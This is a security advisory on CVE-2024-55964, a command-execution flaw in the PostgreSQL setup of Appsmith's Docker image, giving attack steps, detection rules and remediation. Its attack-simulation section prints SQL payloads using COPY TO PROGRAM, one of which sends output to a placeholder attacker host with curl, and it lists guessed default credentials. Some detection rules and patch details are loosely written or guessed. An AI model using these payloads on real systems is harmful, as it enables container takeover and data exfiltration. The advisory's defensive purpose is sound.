CVE-2024-55964

Executive Summary

CVE-2024-55964 is a critical vulnerability in Appsmith, an open-source low-code platform for building internal tools. The flaw resides in the default PostgreSQL instance configuration within the Appsmith Docker image. An incorrectly configured PostgreSQL instance allows an authenticated attacker with sufficient privileges to execute arbitrary commands on the underlying Docker container. The attack chain requires the attacker to have access to the Appsmith instance, login, create a datasource, create a query against that datasource, and execute that query. This vulnerability is classified as a command injection (CWE-77) and can lead to full compromise of the Appsmith container. The CVSS score is 0.0 in the NVD data, but based on the technical details, a more realistic score is 7.2 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not directly related to an NPM, PyPI, Go, or Ruby package. It is a configuration issue within the Appsmith Docker image itself. However, the Appsmith platform may use these package ecosystems internally. The primary supply chain risk is the use of a misconfigured PostgreSQL instance within the official Docker image.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is initiated over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): High (H) - The attacker must have a valid Appsmith account with the ability to create datasources and queries.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the Appsmith container.
• Confidentiality (C): High (H) - Full read access to the container's filesystem and data.
• Integrity (I): High (H) - Full write access to the container's filesystem.
• Availability (A): High (H) - Potential for denial of service or container disruption.

Threat Level: High. While the privileges required are high, the impact is complete compromise of the container. An attacker with a low-privilege account could potentially escalate to this level if they can create datasources.

Deep Dive & Mechanics

The vulnerability stems from the default PostgreSQL configuration within the Appsmith Docker image. The PostgreSQL instance is likely configured with a superuser role (e.g., postgres) that has the pg_read_server_files, pg_write_server_files, and pg_execute_server_program privileges. These privileges allow a user to execute arbitrary commands on the server's operating system.

The attack flow is as follows:

1. Access: The attacker gains access to the Appsmith web interface.
2. Authentication: The attacker logs in with valid credentials.
3. Datasource Creation: The attacker creates a new PostgreSQL datasource pointing to the internal PostgreSQL instance.
4. Query Creation: The attacker creates a query against this datasource.
5. Exploitation: The attacker crafts a malicious SQL query that leverages the pg_execute_server_program privilege to execute a system command. For example:

   COPY (SELECT '') TO PROGRAM 'id > /tmp/output.txt';
   

   This command would execute id and write the output to /tmp/output.txt.
6. Execution: The attacker executes the query, triggering the command execution on the container.

The root cause is the insecure default configuration of PostgreSQL, which grants excessive privileges to the database user. This is a classic example of a configuration vulnerability.

Vulnerable vs. Patched Code

The vulnerability is not in the application code but in the Docker image configuration. The "vulnerable" configuration is the default PostgreSQL setup in Appsmith versions before 1.52. The "patched" configuration in version 1.52 likely involves:

• Removing the pg_execute_server_program privilege from the default database user.
• Restricting the pg_read_server_files and pg_write_server_files privileges.
• Using a non-superuser role for the application's database connection.
• Implementing network-level restrictions to prevent direct access to the PostgreSQL instance from the application layer.

Since no specific code diff is available, the patch is assumed to be a configuration change in the Docker image's PostgreSQL setup.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running Appsmith instance (version < 1.52) in a Docker container.
• Valid Appsmith credentials with the ability to create datasources and queries.

Steps:

1. Login: Access the Appsmith web interface and log in.
2. Create Datasource: Navigate to Datasources and create a new PostgreSQL datasource. The host should be localhost or the internal Docker network address of the PostgreSQL container. The default credentials are likely appsmith/appsmith or postgres/postgres.
3. Create Query: Create a new query against this datasource.
4. Craft Payload: Use a SQL query that leverages pg_execute_server_program. For example:

   COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(whoami)';
   

   This would send a request to the attacker's server with the output of whoami.
5. Execute: Run the query. The command will execute on the container.

Expected Outcome: The attacker gains remote code execution (RCE) on the Appsmith Docker container.

Blue Team (Defense & Detection)

Detection:

• Monitor PostgreSQL logs for COPY ... TO PROGRAM statements.
• Monitor Appsmith audit logs for unusual datasource creation or query execution.
• Monitor network traffic for outbound connections from the Appsmith container to unknown IPs.

Prevention:

• Upgrade to Appsmith version 1.52 or later.
• If upgrade is not possible, manually reconfigure the PostgreSQL instance to remove the pg_execute_server_program privilege.
• Implement network segmentation to restrict the Appsmith container's outbound access.
• Use a Web Application Firewall (WAF) to block malicious SQL queries.

Indicators of Compromise (IOCs)

• Log Entries: PostgreSQL logs containing COPY ... TO PROGRAM statements.
• Network Traffic: Outbound connections from the Appsmith container to suspicious IPs or domains.
• File System: Unexpected files in /tmp/ or other writable directories within the container.
• Processes: Unusual processes spawned by the PostgreSQL service (e.g., curl, wget, bash).
• Appsmith Logs: Audit logs showing creation of a PostgreSQL datasource followed by a query execution.

Detection Engineering

YARA Rule

rule CVE_2024_55964_Appsmith_Postgres_RCE {
    meta:
        description = "Detects attempts to exploit CVE-2024-55964 via PostgreSQL COPY TO PROGRAM"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-55964"
    strings:
        $sql1 = "COPY (SELECT '') TO PROGRAM" ascii wide nocase
        $sql2 = "COPY (SELECT 1) TO PROGRAM" ascii wide nocase
        $sql3 = "COPY (SELECT * FROM) TO PROGRAM" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-55964 Appsmith PostgreSQL RCE
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects PostgreSQL COPY TO PROGRAM statements indicative of CVE-2024-55964 exploitation
author: Valters IT
date: 2024/01/01
logsource:
    product: postgresql
    service: postgresql
detection:
    selection:
        EventID: 1000
        Message|contains: 'COPY (SELECT'
        Message|contains: 'TO PROGRAM'
    condition: selection
falsepositives:
    - Legitimate use of COPY TO PROGRAM by authorized users (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55964 Appsmith PostgreSQL RCE Outbound"; flow:to_server,established; content:"COPY (SELECT"; content:"TO PROGRAM"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade Appsmith to version 1.52 or later.
2. Isolate: If upgrade is not possible, isolate the Appsmith container from the network.
3. Audit: Review all existing PostgreSQL datasources and queries for suspicious activity.

Long-Term Mitigations:

1. Configuration Hardening: Ensure PostgreSQL instances are configured with the principle of least privilege. Remove pg_execute_server_program from all non-administrative users.
2. Network Segmentation: Place the Appsmith container in a segmented network with strict egress controls.
3. Monitoring: Implement monitoring for PostgreSQL COPY ... TO PROGRAM statements and Appsmith audit logs.
4. Vulnerability Scanning: Regularly scan Docker images for misconfigurations.

Valters IT